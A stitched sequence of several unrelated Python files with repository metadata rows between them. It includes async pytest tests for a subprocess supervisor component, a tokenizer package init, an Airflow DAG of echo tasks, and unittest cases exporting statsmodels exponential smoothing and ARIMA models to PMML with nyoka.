assert (await status_queue.get() == Status.STOPPED)
with pytest.raises(asyncio.TimeoutError):
await asyncio.wait_for(status_queue.get(), timeout=0.01)
component.set_revive(True)
await status_queue.get()
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
assert status_queue.empty()
await component.async_close()
assert component.closed.done()
@pytest.mark.asyncio
async def test_revive_on_component_finish(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'comp-xy',
'args': ['sleep', '0.001'],
'delay': 0,
'revive': True})
assert component.status == Status.STOPPED
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
for _ in range(3):
assert (await status_queue.get() == Status.STOPPING)
assert (await status_queue.get() == Status.STOPPED)
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
assert status_queue.empty()
await component.async_close()
assert component.closed.done()
@pytest.mark.asyncio
async def test_revive_on_delay():
component = Component({
'name': 'name',
'args': ['sleep', '10'],
'delay': 1,
'revive': False})
for revive in [True, False] * 5:
component.set_revive(revive)
assert component.revive == revive
assert component.status == Status.DELAYED
await asyncio.sleep(0)
await component.async_close()
assert component.status == Status.STOPPED
@pytest.mark.asyncio
async def test_stop_during_delay(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'comp-xy',
'args': ['sleep', '10'],
'delay': 1,
'revive': False})
assert component.status == Status.DELAYED
component.stop()
assert (await status_queue.get() == Status.STOPPED)
assert status_queue.empty()
await component.async_close()
assert component.closed.done()
@pytest.mark.asyncio
async def test_initial_status():
component = Component({
'name': 'name',
'args': ['sleep', '10'],
'delay': 1,
'revive': False})
assert component.status == Status.DELAYED
await component.async_close()
assert component.status == Status.STOPPED
component = Component({
'name': 'name',
'args': ['sleep', '10'],
'delay': 0,
'revive': False})
assert component.status == Status.STOPPED
await component.async_close()
assert component.status == Status.STOPPED
@pytest.mark.asyncio
async def test_closed():
component = Component({
'name': 'name',
'args': ['sleep', '10'],
'delay': 0,
'revive': False})
assert not component.closed.done()
await component.async_close()
assert component.closed.done()
@pytest.mark.asyncio
async def test_conf_properties():
conf = {'name': 'name',
'args': ['sleep', '10'],
'delay': 0,
'revive': False}
component = Component(conf)
assert component.name == conf['name']
assert component.args == conf['args']
assert component.delay == conf['delay']
assert component.revive == conf['revive']
await component.async_close()
@pytest.mark.timeout(1)
@pytest.mark.asyncio
async def test_call_create_subprocess_exec_without_revive(short_start_delay):
with unittest.mock.patch('asyncio.create_subprocess_exec') as create:
create.return_value.stdout.readline.return_value = None
component = Component({
'name': 'name',
'args': ['sleep', '0'],
'delay': 0,
'revive': False})
while create.call_count < 1:
await asyncio.sleep(0.001)
await component.async_close()
@pytest.mark.asyncio
async def test_call_create_subprocess_exec_with_revive(short_start_delay):
with unittest.mock.patch('asyncio.create_subprocess_exec') as create:
create.return_value.stdout.readline.return_value = None
component = Component({
'name': 'name',
'args': ['sleep', '0'],
'delay': 0,
'revive': True})
while create.call_count <= 5:
await asyncio.sleep(0.001)
await component.async_close()
@pytest.mark.asyncio
async def test_process_stopped_on_close(short_start_delay, process_queue):
component = Component({
'name': 'name',
'args': ['sleep', '10'],
'delay': 0,
'revive': False})
p = await process_queue.get()
await asyncio.sleep(0.01)
assert p.returncode is None
await component.async_close()
assert p.returncode is not None
@pytest.mark.timeout(1)
@pytest.mark.asyncio
async def test_process_stopped_on_stop(short_start_delay, process_queue):
component = Component({
'name': 'name',
'args': ['sleep', '10'],
'delay': 0,
'revive': False})
p = await process_queue.get()
assert p.returncode is None
component.stop()
while p.returncode is None:
await asyncio.sleep(0.001)
await component.async_close()
@pytest.mark.asyncio
async def test_new_process_on_start(short_start_delay, process_queue):
component, status_queue = create_component_with_status_queue({
'name': 'comp-xy',
'args': ['sleep', '100'],
'delay': 0,
'revive': False})
for i in range(5):
if i != 0:
component.start()
p = await process_queue.get()
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
assert p.returncode is None
component.stop()
assert (await status_queue.get() == Status.STOPPING)
assert (await status_queue.get() == Status.STOPPED)
assert p.returncode is not None
await component.async_close()
assert status_queue.empty()
assert process_queue.empty()
@pytest.mark.asyncio
async def test_soft_terminate_process(short_start_delay, process_queue,
tmpdir):
component_path = tmpdir / 'component.py'
running_path = tmpdir / 'running'
signum = 'signal.SIGBREAK' if sys.platform == 'win32' else 'signal.SIGINT'
with open(component_path, 'w', encoding='utf-8') as f:
f.write('import signal, sys, time\n'
f'signal.signal({signum}, lambda *args: sys.exit(123))\n'
f'open(r"{running_path}", "w").close()\n'
'while True:\n'
' time.sleep(0.001)\n')
component = Component({
'name': 'name',
'args': ['python', str(component_path)],
'delay': 0,
'revive': False})
while not running_path.exists():
await asyncio.sleep(0.001)
p = await process_queue.get()
assert p.returncode is None
await component.async_close()
assert p.returncode == 123
@pytest.mark.timeout(1)
@pytest.mark.asyncio
async def test_hard_terminate_process(short_start_delay, short_sigint_timeout,
process_queue, tmpdir):
component_path = tmpdir / 'component.py'
running_path = tmpdir / 'running'
signum = 'signal.SIGBREAK' if sys.platform == 'win32' else 'signal.SIGINT'
with open(component_path, 'w', encoding='utf-8') as f:
f.write('import signal, sys, time\n'
f'signal.signal({signum}, lambda *args: None)\n'
f'open(r"{running_path}", "w").close()\n'
'while True:\n'
' time.sleep(0.001)\n')
component = Component({
'name': 'name',
'args': ['python', str(component_path)],
'delay': 0,
'revive': False})
while not running_path.exists():
await asyncio.sleep(0.001)
p = await process_queue.get()
assert p.returncode is None
await component.async_close()
assert p.returncode is not None
@pytest.mark.asyncio
async def test_noop_revive(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'name',
'args': ['sleep', '30'],
'delay': 0,
'revive': True})
assert component.status == Status.STOPPED
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
component.set_revive(True)
component.set_revive(True)
component.set_revive(True)
await asyncio.sleep(0.001)
assert status_queue.empty()
await component.async_close()
@pytest.mark.asyncio
async def test_noop_start(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'name',
'args': ['sleep', '30'],
'delay': 0,
'revive': False})
while True:
if await status_queue.get() == Status.RUNNING:
break
for _ in range(5):
component.start()
assert component.status == Status.RUNNING
await asyncio.sleep(0.001)
assert status_queue.empty()
await component.async_close()
@pytest.mark.asyncio
async def test_noop_stop(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'name',
'args': ['sleep', '30'],
'delay': 0,
'revive': False})
await status_queue.get() == Status.STARTING
component.stop()
while True:
if await status_queue.get() == Status.STOPPED:
break
for _ in range(5):
component.stop()
assert component.status == Status.STOPPED
await asyncio.sleep(0.001)
assert status_queue.empty()
await component.async_close()
@pytest.mark.asyncio
async def test_starting_no_interrupt(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'name',
'args': ['sleep', '30'],
'delay': 0,
'revive': False})
assert component.status == Status.STOPPED
assert (await status_queue.get() == Status.STARTING)
for _ in range(5):
component.start()
component.stop()
assert (await status_queue.get() == Status.RUNNING)
assert (await status_queue.get() == Status.STOPPING)
assert (await status_queue.get() == Status.STOPPED)
await asyncio.sleep(0.001)
assert status_queue.empty()
await component.async_close()
@pytest.mark.asyncio
async def test_stopping_no_interrupt(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'name',
'args': ['sleep', '30'],
'delay': 0,
'revive': False})
while True:
if await status_queue.get() == Status.RUNNING:
break
component.stop()
assert (await status_queue.get() == Status.STOPPING)
for _ in range(5):
component.stop()
component.start()
assert (await status_queue.get() == Status.STOPPED)
assert (await status_queue.get() == Status.STARTING)
assert (await status_queue.get() == Status.RUNNING)
await asyncio.sleep(0.001)
assert status_queue.empty()
await component.async_close()
@pytest.mark.asyncio
async def test_actions_not_queued_for_seq_exec(short_start_delay):
component, status_queue = create_component_with_status_queue({
'name': 'name',
'args': ['sleep', '30'],
'delay': 0,
'revive': False})
while True:
if await status_queue.get() == Status.RUNNING:
break
for _ in range(5):
component.start()
component.stop()
assert (await status_queue.get() == Status.STOPPING)
assert (await status_queue.get() == Status.STOPPED)
await asyncio.sleep(0.001)
assert status_queue.empty()
await component.async_close()
@pytest.mark.asyncio
async def test_console_output(short_start_delay, capsys):
component, status_queue = create_component_with_status_queue({
'name': 'name',
'args': ['echo', 'abc'],
'delay': 0,
'revive': False})
while (await status_queue.get()) != Status.STOPPED:
pass
await component.async_close()
captured = capsys.readouterr()
assert captured.out.endswith('abc\n')
| 30.4 | 78 | 0.640683 | 1,794 | 15,048 | 5.193423 | 0.080825 | 0.102715 | 0.072126 | 0.095846 | 0.842331 | 0.819577 | 0.767307 | 0.756789 | 0.738542 | 0.716432 | 0 | 0.013822 | 0.230728 | 15,048 | 494 | 79 | 30.461538 | 0.791033 | 0 | 0 | 0.783582 | 0 | 0 | 0.083134 | 0.011563 | 0 | 0 | 0 | 0 | 0.21393 | 1 | 0.00995 | false | 0.002488 | 0.022388 | 0 | 0.039801 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9e0b439df01a5c76f413436ceff54fc0477fd442 | 177 | py | Python | src/muse_as_service/tokenizer/__init__.py | dayyass/muse_embedder | 31aea931dd2e84d3ab2a4a82d89466ac3cc147a4 | [
"MIT"
] | 24 | 2021-06-15T05:17:48.000Z | 2021-07-23T16:02:05.000Z | src/muse_as_service/tokenizer/__init__.py | dayyass/muse_embedder | 31aea931dd2e84d3ab2a4a82d89466ac3cc147a4 | [
"MIT"
] | 23 | 2021-06-12T19:11:35.000Z | 2021-07-22T09:40:09.000Z | src/muse_as_service/tokenizer/__init__.py | dayyass/muse_embedder | 31aea931dd2e84d3ab2a4a82d89466ac3cc147a4 | [
"MIT"
] | 2 | 2021-07-28T04:07:36.000Z | 2021-08-19T15:06:35.000Z | from .tokenizer import get_tokenizer_from_saved_model, parse_saved_model, tokenize
__all__ = [
"get_tokenizer_from_saved_model",
"parse_saved_model",
"tokenize",
]
| 22.125 | 82 | 0.768362 | 22 | 177 | 5.454545 | 0.409091 | 0.333333 | 0.266667 | 0.35 | 0.816667 | 0.816667 | 0.816667 | 0.816667 | 0.816667 | 0 | 0 | 0 | 0.146893 | 177 | 7 | 83 | 25.285714 | 0.794702 | 0 | 0 | 0 | 0 | 0 | 0.310734 | 0.169492 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
f557b7cd30e97ca0dee9ae19ac55330b7ee30535 | 2,983 | py | Python | tests/dags/bash_test_fail.py | turbaszek/vigilant-giggle | 1c290d17faddd6ed9b7b921a89136246c5b3d070 | [
"Apache-2.0"
] | null | null | null | tests/dags/bash_test_fail.py | turbaszek/vigilant-giggle | 1c290d17faddd6ed9b7b921a89136246c5b3d070 | [
"Apache-2.0"
] | null | null | null | tests/dags/bash_test_fail.py | turbaszek/vigilant-giggle | 1c290d17faddd6ed9b7b921a89136246c5b3d070 | [
"Apache-2.0"
] | null | null | null | import datetime
from airflow.models import DAG
from airflow.operators.bash_operator import BashOperator
from airflow.utils.dates import days_ago
default_args = {'wait_for_downstream': True, 'provide_context': False}
with DAG(
"bash_test_fail_shrubbery",
start_date=datetime.datetime.now() - datetime.timedelta(days=1),
schedule_interval='*/2 * * * *',
default_args=default_args,
max_active_runs=1
) as dag:
for target_date in range(0, 10):
bash_cmd_j001 = BashOperator(
task_id='bash_cmd_j001_' + str(target_date),
bash_command='echo "bash_cmd_001"',
trigger_rule='all_success')
bash_cmd_j002 = BashOperator(
task_id='bash_cmd_j002_' + str(target_date),
bash_command='echo "bash_cmd_002"',
trigger_rule='all_success')
bash_cmd_j003 = BashOperator(
task_id='bash_cmd_j003_' + str(target_date),
bash_command='echo "bash_cmd_003"',
trigger_rule='all_success')
bash_cmd_j004 = BashOperator(
task_id='bash_cmd_j004_' + str(target_date),
bash_command='echo "bash_cmd_004"',
trigger_rule='all_success')
bash_cmd_j005 = BashOperator(
task_id='bash_cmd_j005_' + str(target_date),
bash_command='echo "bash_cmd_005"',
trigger_rule='all_success')
if (target_date % 2) == 0:
bash_cmd_j001 >> bash_cmd_j002 >> bash_cmd_j003 >> bash_cmd_j004 >> bash_cmd_j005
else:
bash_cmd_j001 >> bash_cmd_j005 >> bash_cmd_j004 >> bash_cmd_j003 >> bash_cmd_j002
with DAG(
"bash_test_fail_shrubbery_2",
start_date=days_ago(1),
schedule_interval='*/2 * * * *',
default_args=default_args,
max_active_runs=1
) as dag2:
for target_date in range(0, 10):
bash_cmd_j001 = BashOperator(
task_id='bash_cmd_j001_' + str(target_date),
bash_command='echo "bash_cmd_001"',
trigger_rule='all_success')
bash_cmd_j002 = BashOperator(
task_id='bash_cmd_j002_' + str(target_date),
bash_command='echo "bash_cmd_002"',
trigger_rule='all_success')
bash_cmd_j003 = BashOperator(
task_id='bash_cmd_j003_' + str(target_date),
bash_command='echo "bash_cmd_003"',
trigger_rule='all_success')
bash_cmd_j004 = BashOperator(
task_id='bash_cmd_j004_' + str(target_date),
bash_command='echo "bash_cmd_004"',
trigger_rule='all_success')
bash_cmd_j005 = BashOperator(
task_id='bash_cmd_j005_' + str(target_date),
bash_command='echo "bash_cmd_005"',
trigger_rule='all_success')
if (target_date % 2) == 0:
bash_cmd_j001 >> bash_cmd_j002 >> bash_cmd_j003 >> bash_cmd_j004 >> bash_cmd_j005
else:
bash_cmd_j001 >> bash_cmd_j005 >> bash_cmd_j004 >> bash_cmd_j003 >> bash_cmd_j002
| 39.773333 | 93 | 0.636272 | 389 | 2,983 | 4.390746 | 0.172237 | 0.204918 | 0.105386 | 0.128806 | 0.854801 | 0.854801 | 0.822014 | 0.822014 | 0.822014 | 0.822014 | 0 | 0.076018 | 0.259135 | 2,983 | 74 | 94 | 40.310811 | 0.696833 | 0 | 0 | 0.84058 | 0 | 0 | 0.183037 | 0.016762 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.057971 | 0 | 0.057971 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f57030fcfc69f6621c4aad2e89d10a5dccba56e0 | 29,455 | py | Python | nyoka/tests/test_statsmodels_to_pmml_UnitTest.py | nimeshgit/nyoka | 43bf049825922213eeb3e6a8f39864f9b75d01d5 | [
"Apache-2.0"
] | null | null | null | nyoka/tests/test_statsmodels_to_pmml_UnitTest.py | nimeshgit/nyoka | 43bf049825922213eeb3e6a8f39864f9b75d01d5 | [
"Apache-2.0"
] | 2 | 2021-08-25T16:16:45.000Z | 2022-02-10T05:28:52.000Z | nyoka/tests/test_statsmodels_to_pmml_UnitTest.py | nimeshgit/nyoka | 43bf049825922213eeb3e6a8f39864f9b75d01d5 | [
"Apache-2.0"
] | null | null | null |
import sys,os
import pandas as pd
import numpy as np
from statsmodels.tsa.base import tsa_model as tsa
from statsmodels.tsa import holtwinters as hw
from statsmodels.tsa.statespace import sarimax
from statsmodels.tsa.arima_model import ARIMA
import unittest
from nyoka import ArimaToPMML, ExponentialSmoothingToPMML
class TestMethods(unittest.TestCase):
def getData1(self):
# data with trend and seasonality present
# no of international visitors in Australia
data = [41.7275, 24.0418, 32.3281, 37.3287, 46.2132, 29.3463, 36.4829, 42.9777, 48.9015, 31.1802, 37.7179,
40.4202, 51.2069, 31.8872, 40.9783, 43.7725, 55.5586, 33.8509, 42.0764, 45.6423, 59.7668, 35.1919,
44.3197, 47.9137]
index = pd.DatetimeIndex(start='2005', end='2010-Q4', freq='QS')
ts_data = pd.Series(data, index)
ts_data.index.name = 'datetime_index'
ts_data.name = 'n_visitors'
ts_data = ts_data.to_frame()
return ts_data
def getData2(self):
# data with trend but no seasonality
# no. of annual passengers of air carriers registered in Australia
data = [17.5534, 21.86, 23.8866, 26.9293, 26.8885, 28.8314, 30.0751, 30.9535, 30.1857, 31.5797, 32.5776,
33.4774, 39.0216, 41.3864, 41.5966]
index = pd.DatetimeIndex(start='1990', end='2005', freq='A')
ts_data = pd.Series(data, index)
ts_data.index.name = 'datetime_index'
ts_data.name = 'n_passengers'
return ts_data
def getData3(self):
# data with no trend and no seasonality
# Oil production in Saudi Arabia
data = [446.6565, 454.4733, 455.663, 423.6322, 456.2713, 440.5881, 425.3325, 485.1494, 506.0482, 526.792,
514.2689, 494.211]
index = pd.DatetimeIndex(start='1996', end='2008', freq='A')
ts_data = pd.Series(data, index)
ts_data.index.name = 'datetime_index'
ts_data.name = 'oil_production'
return ts_data
def getData4(self):
# Non Seasonal Data
data = [266,146,183,119,180,169,232,225,193,123,337,186,194,150,210,273,191,287,
226,304,290,422,265,342,340,440,316,439,401,390,490,408,490,420,520,480]
index = pd.DatetimeIndex(start='2016-01-01', end='2018-12-01', freq='MS')
ts_data = pd.Series(data, index)
ts_data.index.name = 'date_index'
ts_data.name = 'cars_sold'
ts_data = ts_data.to_frame()
return ts_data
def getData5(self):
# Seasonal Data
data = [112, 118, 132, 129, 121, 135, 148, 148, 136, 119, 104, 118, 115, 126, 141, 135, 125, 149, 170, 170, 158, 133, 114, 140, 145, 150,
178, 163, 172, 178, 199, 199, 184, 162, 146, 166, 171, 180, 193, 181, 183, 218, 230, 242, 209, 191, 172, 194, 196, 196, 236, 235,
229, 243, 264, 272, 237, 211, 180, 201, 204, 188, 235, 227, 234, 264, 302, 293, 259, 229, 203, 229, 242, 233, 267, 269, 270, 315,
364, 347, 312, 274, 237, 278, 284, 277, 317, 313, 318, 374, 413, 405, 355, 306, 271, 306, 315, 301, 356, 348, 355, 422, 465, 467,
404, 347, 305, 336, 340, 318, 362, 348, 363, 435, 491, 505, 404, 359, 310, 337, 360, 342, 406, 396, 420, 472, 548, 559, 463, 407,
362, 405, 417, 391, 419, 461, 472, 535, 622, 606, 508, 461, 390, 432]
index = pd.DatetimeIndex(start='1949-01-01', end='1960-12-01', freq='MS')
ts_data = pd.Series(data, index)
ts_data.index.name = 'datetime_index'
ts_data.name = 'n_passengers'
ts_data = ts_data.to_frame()
return ts_data
#Exponential Smoothing Test cases
@unittest.skip("")
def test_exponentialSmoothing_01(self):
ts_data = self.getData1()
f_name='exponential_smoothing1.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='add',
damped=True,
seasonal='add',
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_02(self):
ts_data = self.getData1()
f_name='exponential_smoothing2.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='add',
damped=False,
seasonal='add',
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_03(self):
ts_data = self.getData1()
f_name='exponential_smoothing3.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='add',
damped=True,
seasonal='mul',
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_04(self):
ts_data = self.getData1()
f_name='exponential_smoothing4.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='add',
damped=False,
seasonal='mul',
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_05(self):
ts_data = self.getData1()
f_name='exponential_smoothing5.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='mul',
damped=True,
seasonal='add',
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_06(self):
ts_data = self.getData1()
f_name='exponential_smoothing6.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='mul',
damped=False,
seasonal='add',
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_07(self):
ts_data = self.getData1()
f_name='exponential_smoothing7.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='mul',
damped=True,
seasonal='mul',
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
os.remove(f_name)
@unittest.skip("")
def test_exponentialSmoothing_08(self):
ts_data = self.getData1()
f_name='exponential_smoothing8.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='mul',
damped=False,
seasonal='mul',
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_09(self):
ts_data = self.getData2()
f_name='exponential_smoothing9.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='add',
damped=True,
seasonal=None,
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_10(self):
ts_data = self.getData2()
f_name='exponential_smoothing10.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='add',
damped=True,
seasonal=None,
seasonal_periods=None)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_11(self):
ts_data = self.getData2()
f_name='exponential_smoothing11.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='add',
damped=False,
seasonal=None,
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_12(self):
ts_data = self.getData2()
f_name='exponential_smoothing12.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='add',
damped=False,
seasonal=None,
seasonal_periods=None)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_13(self):
ts_data = self.getData2()
f_name='exponential_smoothing13.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='mul',
damped=True,
seasonal=None,
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_14(self):
ts_data = self.getData2()
f_name='exponential_smoothing14.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='mul',
damped=True,
seasonal=None,
seasonal_periods=None)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_15(self):
ts_data = self.getData2()
f_name='exponential_smoothing15.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='mul',
damped=False,
seasonal=None,
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_16(self):
ts_data = self.getData2()
f_name='exponential_smoothing16.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend='mul',
damped=False,
seasonal=None,
seasonal_periods=None)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_17(self):
ts_data = self.getData3()
f_name='exponential_smoothing17.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend=None,
damped=False,
seasonal=None,
seasonal_periods=None)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
@unittest.skip("")
def test_exponentialSmoothing_18(self):
ts_data = self.getData3()
f_name='exponential_smoothing18.pmml'
model_obj = hw.ExponentialSmoothing(ts_data,
trend=None,
damped=False,
seasonal=None,
seasonal_periods=2)
results_obj = model_obj.fit(optimized=True)
ExponentialSmoothingToPMML(results_obj, f_name)
self.assertEqual(os.path.isfile(f_name),True)
#Non Seasonal Arima Test cases
def test_non_seasonal_arima1(self):
ts_data = self.getData4()
f_name='non_seasonal_arima1.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css-mle', solver = 'lbfgs')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima2(self):
ts_data = self.getData4()
f_name='non_seasonal_arima2.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css-mle', solver = 'nm')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima3(self):
ts_data = self.getData4()
f_name='non_seasonal_arima3.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css-mle', solver = 'bfgs')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima4(self):
ts_data = self.getData4()
f_name='non_seasonal_arima4.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css-mle', solver = 'powell')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima5(self):
ts_data = self.getData4()
f_name='non_seasonal_arima5.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css-mle', solver = 'cg')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima6(self):
ts_data = self.getData4()
f_name='non_seasonal_arima6.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css-mle', solver = 'ncg')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima7(self):
ts_data = self.getData4()
f_name='non_seasonal_arima7.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'mle', solver = 'lbfgs')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima8(self):
ts_data = self.getData4()
f_name='non_seasonal_arima8.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'mle', solver = 'nm')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima9(self):
ts_data = self.getData4()
f_name='non_seasonal_arima9.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'mle', solver = 'bfgs')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima10(self):
ts_data = self.getData4()
f_name='non_seasonal_arima10.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'mle', solver = 'powell')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima11(self):
ts_data = self.getData4()
f_name='non_seasonal_arima11.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'mle', solver = 'cg')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima12(self):
ts_data = self.getData4()
f_name='non_seasonal_arima12.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'mle', solver = 'ncg')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima13(self):
ts_data = self.getData4()
f_name='non_seasonal_arima13.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css', solver = 'lbfgs')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima14(self):
ts_data = self.getData4()
f_name='non_seasonal_arima14.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css', solver = 'nm')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
def test_non_seasonal_arima15(self):
ts_data = self.getData4()
f_name='non_seasonal_arima15.pmml'
model = ARIMA(ts_data,order=(9, 2, 0))
result = model.fit(trend = 'c', method = 'css', solver = 'bfgs')
ArimaToPMML(result, f_name)
self.assertEqual(os.path.isfile(f_name),True)
